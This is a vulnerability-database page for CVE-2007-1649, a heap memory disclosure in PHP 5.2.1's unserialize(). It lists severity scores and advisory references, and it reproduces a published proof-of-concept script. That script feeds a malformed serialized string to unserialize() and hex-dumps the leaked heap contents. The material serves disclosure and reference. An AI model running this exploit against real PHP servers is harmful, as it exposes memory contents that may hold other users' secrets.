CVE-2007-1649 : Detail

CVE-2007-1649

0.85%V3
Network
2007-03-23
23h00 +00:00
2017-07-28
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

PHP 5.2.1 allows context-dependent attackers to read portions of heap memory by executing certain scripts with a serialized data input string beginning with S:, which does not properly track the number of input bytes being processed.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.8 AV:N/AC:L/Au:N/C:C/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 3559

Publication date : 2007-03-22 23h00 +00:00
Author : Stefan Esser
EDB Verified : Yes

<?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP 5.2.1 unserialize() Information Leak Vulnerability // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die("REMOVE THIS LINE"); $str = 'S:'.(100*3).':"'.str_repeat('\61', 100).'"'; $arr = array(str_repeat('"', 200)."1"=>1,str_repeat('"', 200)."2"=>1); $heapdump = unserialize($str); echo "Heapdump\n---------\n\n"; $len = strlen($heapdump); for ($b=0; $b<$len; $b+=16) { printf("%08x: ", $b); for ($i=0; $i<16; $i++) { if ($b+$i<$len) { printf ("%02x ", ord($heapdump[$b+$i])); } else { printf (".. "); } } for ($i=0; $i<16; $i++) { if ($b+$i<$len) { $c = ord($heapdump[$b+$i]); } else { $c = 0; } if ($c > 127 || $c < 32) { $c = ord("."); } printf ("%c", $c); } printf("\n"); } ?> # milw0rm.com [2007-03-23]

Products Mentioned

Configuraton 0

Php>>Php >> Version 5.2.1

References

http://secunia.com/advisories/24630
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/23105
Tags : vdb-entry, x_refsource_BID
http://us2.php.net/releases/5_2_2.php
Tags : x_refsource_CONFIRM
http://www.mandriva.com/security/advisories?name=MDVSA-2008:126
Tags : vendor-advisory, x_refsource_MANDRIVA